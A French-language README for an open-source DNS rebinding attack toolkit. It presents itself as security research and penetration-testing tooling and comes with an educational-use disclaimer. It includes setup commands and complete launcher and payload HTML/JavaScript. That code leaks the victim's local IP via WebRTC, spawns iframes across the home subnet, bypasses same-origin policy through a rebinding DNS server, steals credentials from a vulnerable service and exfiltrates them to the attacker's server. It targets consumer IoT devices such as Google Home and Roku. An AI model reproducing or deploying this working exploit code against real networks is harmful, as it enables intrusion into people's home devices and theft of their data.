brannondorsey/dns-rebind-toolkitUn kit d'outils JavaScript front-end pour créer des attaques de rebinding DNS.
Démo | Avis de sécurité | Payloads inclus | FAQ
AVERTISSEMENT : Ce logiciel est fourni à des fins éducatives uniquement. Ce logiciel ne doit pas être utilisé pour des activités illégales. L'auteur n'est pas responsable de son utilisation. Ne soyez pas un con.
DNS Rebind Toolkit est un framework JavaScript frontend pour développer des exploits de DNS Rebinding contre des hôtes et services vulnérables sur un réseau local (LAN). Il peut être utilisé pour cibler des appareils comme Google Home, Roku, les enceintes WiFi Sonos, les routeurs WiFi, les thermostats « intelligents » et autres appareils IoT. Avec cette boîte à outils, un attaquant distant peut contourner le pare-feu d'un routeur et interagir directement avec les appareils du réseau domestique de la victime, exfiltrant des informations privées et, dans certains cas, contrôlant même les appareils vulnérables eux-mêmes.
L'attaque exige que la victime sur le réseau cible suive simplement un lien, ou qu'elle voie une publicité HTML contenant une iframe malveillante. De là, le navigateur web de la victime est utilisé comme un proxy pour accéder directement à d'autres hôtes connectés à son réseau domestique. Ces machines et services cibles seraient autrement indisponibles pour l'attaquant depuis Internet. L'attaquant distant peut ne pas savoir quels sont ces services, ni quelles adresses IP ils occupent sur le réseau de la victime, mais DNS Rebind Toolkit gère cela en testant par force brute des centaines d'adresses IP probables.
Sous le capot, cet outil utilise un serveur DNS whonow public tournant sur rebind.network:53 pour exécuter l'attaque de DNS rebinding et tromper le navigateur web de la victime afin qu'il viole la politique de même origine. De là, il utilise WebRTC pour divulguer l'adresse IP privée de la victime, disons 192.168.1.36. Il utilise les trois premiers octets de cette adresse IP locale pour deviner le sous-réseau du réseau, puis injecte 256 iframes, de 192.168.1.0 à 255, délivrant un payload à chaque hôte qui pourrait se trouver sur le sous-réseau.
Cette boîte à outils peut être utilisée pour développer et déployer vos propres attaques de DNS rebinding. Plusieurs payloads d'attaque réels sont inclus avec cette boîte à outils dans le répertoire payloads/. Ces payloads comprennent des attaques d'exfiltration d'informations (et de rickroll) contre quelques appareils IoT populaires, notamment les produits Google Home et Roku.
Cette boîte à outils est le produit d'une recherche de sécurité indépendante sur les attaques de DNS Rebinding. Vous pouvez lire cette recherche originale ici.
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# install dependencies
npm install
# run the server using root to provide access to privileged port 80
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server
Par défaut, server.js sert des payloads ciblant Google Home, Roku, les enceintes Sonos, les ampoules Phillips Hue et les appareils Radio Thermostat faisant tourner leurs services sur les ports 8008, 8060, 1400, 80 et 80 respectivement. Si vous avez l'un de ces appareils sur votre réseau domestique, rendez-vous sur http://rebind.network pour une belle surprise ;). Ouvrez la console de développement et regardez ces services être exploités sans danger, leurs données étant volées et exfiltrées vers server.js.
Cette boîte à outils fournit deux objets JavaScript qui peuvent être utilisés ensemble pour créer des attaques de DNS rebinding :
DNSRebindAttack : Cet objet est utilisé pour lancer une attaque contre un service vulnérable tournant sur un port connu. Il génère un payload pour chaque adresse IP que vous choisissez de cibler. Les objets DNSRebindAttack sont utilisés pour créer, gérer et communiquer avec plusieurs objets DNSRebindNode. Chaque payload lancé par DNSRebindAttack doit contenir un objet DNSRebindNode.DNSRebindNode : Cet objet de classe statique doit être inclus dans chaque fichier de payload HTML. Il est utilisé pour cibler un service tournant sur un hôte. Il peut communiquer avec l'objet DNSRebindAttack qui l'a généré et il dispose de fonctions d'aide pour exécuter l'attaque de DNS rebinding (via DNSRebindNode.rebind(...)) ainsi que pour exfiltrer vers server.js les données découvertes pendant l'attaque (DNSRebindNode.exfiltrate(...)).Ces deux scripts sont utilisés ensemble pour exécuter une attaque contre des hôtes inconnus sur un LAN protégé par un pare-feu. Une attaque de base ressemble à ceci :
http://example.com/launcher.html. launcher.html contient une instance de DNSRebindAttack.http://example.com/launcher.html est intégrée en tant qu'iframe. Cela amène le DNSRebindAttack sur launcher.html à commencer l'attaque.DNSRebindAttack utilise une fuite WebRTC pour découvrir l'adresse IP locale de la machine de la victime (par ex. 192.168.10.84). L'attaquant utilise cette information pour choisir une plage d'adresses IP à cibler sur le LAN de la victime (par ex. 192.168.10.0-255).launcher.html lance l'attaque de DNS rebinding (via DNSRebindAttack.attack(...)) contre une plage d'adresses IP sur le sous-réseau de la victime, ciblant un seul service (par ex. l' disponible sur le port ).Notez que si un utilisateur possède un appareil Google Home sur son réseau avec une adresse IP inconnue et qu'une attaque est lancée contre tout le sous-réseau 192.168.1.0/24, alors l'attaque de rebinding d'un seul DNSRebindNode réussira et 254 échoueront.
Une attaque se compose de trois scripts et fichiers coordonnés :
DNSRebindAttack (par ex. launcher.html)payload.html). Ce fichier est intégré dans launcher.html par DNSRebindAttack pour chaque adresse IP ciblée.server.js) pour délivrer les fichiers ci-dessus et exfiltrer les données si nécessaire.launcher.htmlVoici un exemple de fichier launcher HTML. Vous pouvez trouver le document complet dans examples/launcher.html.
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)
// Launch a DNS Rebind attack, spawning 255 iframes attacking the service
// on each host of the subnet (or so we hope).
// Arguments are:
// 1) target ip addresses
// 2) IP address your Node server.js is running on. Usually 127.0.0.1
// during dev, but then the publicly accessible IP (not hostname)
// of the VPS hosting this repo in production.
// 3) the HTML payload to deliver to this service. This HTML file should
// have a DNSRebindNode instance implemented on in it.
// 4) the interval in milliseconds to wait between each new iframe
// embed. Spawning 100 iframes at the same time can choke (or crash)
// a browser. The higher this value, the longer the attack takes,
// but the less resources it consumes.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes is also an EventEmitter, only this one is fired using
// DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
// iframes to post messages back to the parent DNSRebindAttack that
// launched them. You can define custome events by simply emitting
// DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
// can receive it. That said, there are a few standard event names that
// get triggered automagically:
// - begin: triggered when DNSRebindNode.js is loaded. This signifies
// that an attack has been launched (or at least, it's payload was
// delivered) against an IP address.
// - rebind: the DNS rebind was successful, this node should now be
// communicating with the target service.
// - exfiltrate: send JSON data back to your Node server.js and save
// it inside the data/ folder.
// Additionally, the DNSRebindNode.destroy() static method
// will trigger the 'destory' event and cause DNSRebindAttack to
// remove the iframe.
rebind.nodes.on('begin', (ip) => {
// the DNSRebindNode has been loaded, attacking ip
})
rebind.nodes.on('rebind', (ip) => {
// the rebind was successful
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON data was exfiltrated and saved to the data/
// folder on the remote machine hosting server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.htmlVoici un exemple de fichier payload HTML. Vous pouvez trouver le document complet dans examples/payload.html.
<!DOCTYPE html>
<html>
<head>
<title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// there was an error at some point during the attack
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // remove this iframe by calling destroy()
.then(() => DNSRebindNode.destroy())
// launches the attack and returns a promise that is resolved if the target
// service is found and correctly exploited, or more likely, rejected because
// this host doesn't exist, the target service isn't running, or something
// went wrong with the exploit. Remember that this attack is being launched
// against 255+ IP addresses, so most of them won't succeed.
async function attack() {
// DNSRebindNode has some default fetch options that specify things
// like no caching, etc. You can re-use them for convenience, or ignore
// them and create your own options object for each fetch() request.
// Here are their default values:
// {
// method: "GET",
// headers: {
// // this doesn't work in all browsers. For instance,
// // Firefox doesn't let you do this.
// "Origin": "", // unset the origin header
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// In this example, we'll pretend we are attacking some service with
// an /auth.json file with username/password sitting in plaintext.
// Before we swipe those creds, we need to first perform the rebind
// attack. Most likely, our webserver will cache the DNS results
// for this page's host. DNSRebindNode.rebind(...) recursively
// re-attempts to rebind the host with a new, target IP address.
// This can take over a minute, and if it is unsuccessful the
// promise is rejected.
const opts = {
// these options get passed to the DNS rebind fetch request
fetchOptions: getOptions,
// by default, DNSRebindNode.rebind() is considered successful
// if it receives an HTTP 200 OK response from the target service.
// However, you can define any kind of "rebind success" scenario
// yourself with the successPredicate(...) function. This
// function receives a fetch result as a parameter and the return
// value determines if the rebind was successful (i.e. you are
// communicating with the target server). Here we check to see
// if the fetchResult was sent by our example vulnerable server.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// await the rebind. Can take up to over a minute depending on the
// victim's DNS cache settings or if there is no host listening on
// the other side.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// whoops, the rebind failed. Either the browser's DNS cache was
// never cleared, or more likely, this service isn't running on the
// target host. Oh well... Bubble up the rejection and have our
// attack()'s rejection handler deal w/ it.
return Promise.reject(err)
}
try {
// alrighty, now that we've rebound the host and are communicating
// with the target service, let's grab the credentials
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// great, now let's exfiltrate those creds to the Node.js server
// running this whole shebang. That's the last thing we care about,
// so we will just return this promise as the result of attack()
// and let its handler's deal with it.
//
// NOTE: the second argument to exfiltrate(...) must be JSON
// serializable.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.jsCe script est utilisé pour délivrer les fichiers launcher.html et payload.html, ainsi que pour recevoir et enregistrer les données exfiltrées depuis DNSRebindNode dans le dossier data/. Pour le développement, je lance généralement ce serveur sur localhost et je pointe DNSRebindAttack.attack(...) vers 127.0.0.1. Pour la production, je lance le serveur sur un serveur cloud VPS et je pointe DNSRebindAttack.attack(...) vers son adresse IP publique.
# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit server
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT Which ports to bind the servers on. May include
multiple like: --port 80 --port 1337 (default: -p 80
-p 8008 -p 8060 -p 1337)
J'ai inclus un serveur vulnérable d'exemple dans examples/vulnerable-server.js. Ce service vulnérable DOIT être exécuté depuis une autre machine de votre réseau, car son port DOIT correspondre au même port que server.js. Pour exécuter vous-même cette attaque d'exemple, faites ce qui suit :
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000
node server --port 3000
Maintenant, naviguez votre navigateur vers http://localhost:3000/launcher.html et ouvrez une console de développement. Attendez une minute ou deux ; si l'attaque a fonctionné, vous devriez voir des identifiants volés depuis le serveur vulnérable tournant sur l'ordinateur secondaire.
Consultez les répertoires examples/ et payloads/ pour plus d'exemples.
server.js : Le serveur DNS Rebind Toolkitpayloads/ : Plusieurs fichiers de payload HTML conçus à la main pour cibler quelques appareils IoT vulnérables. Comprend des attaques contre Google Home, Roku et Radio Thermostat pour l'instant. J'aimerais voir plus de payloads ajoutés à ce dépôt à l'avenir (PR bienvenues !)examples/ : Fichiers d'exemples d'utilisation.data/ : Répertoire où sont enregistrées les données exfiltrées par DNSRebindNode.exfiltrate(...).share/ : Répertoire des fichiers JavaScript partagés par plusieurs fichiers HTML dans examples/ et payload/.Cette boîte à outils a été développée pour être un outil utile aux chercheurs et aux testeurs d'intrusion. Si vous souhaitez voir une partie de la recherche qui a conduit à sa création, consultez cet article. Si vous écrivez un payload pour un autre service, envisagez de faire une PR à ce dépôt afin que d'autres puissent bénéficier de votre travail !
8008DNSRebindAttack intègre une iframe contenant payload.html dans la page launcher.html. Chaque iframe contient un objet DNSRebindNode qui exécute une attaque contre le port 8008 d'un seul hôte défini dans la plage d'adresses IP attaquée. Ce processus d'injection se poursuit jusqu'à ce qu'une iframe ait été injectée pour chaque adresse IP ciblée par l'attaque.payload.html injecté utilise DNSRebindNode pour tenter une attaque de rebinding en communiquant avec un serveur DNS whonow. Si elle réussit, la politique de même origine est violée et payload.html peut communiquer directement avec le produit Google Home. En général, payload.html est écrit de manière à faire quelques appels API à l'appareil cible et à exfiltrer les résultats vers server.js tournant sur example.com avant de terminer l'attaque et de s'auto-détruire.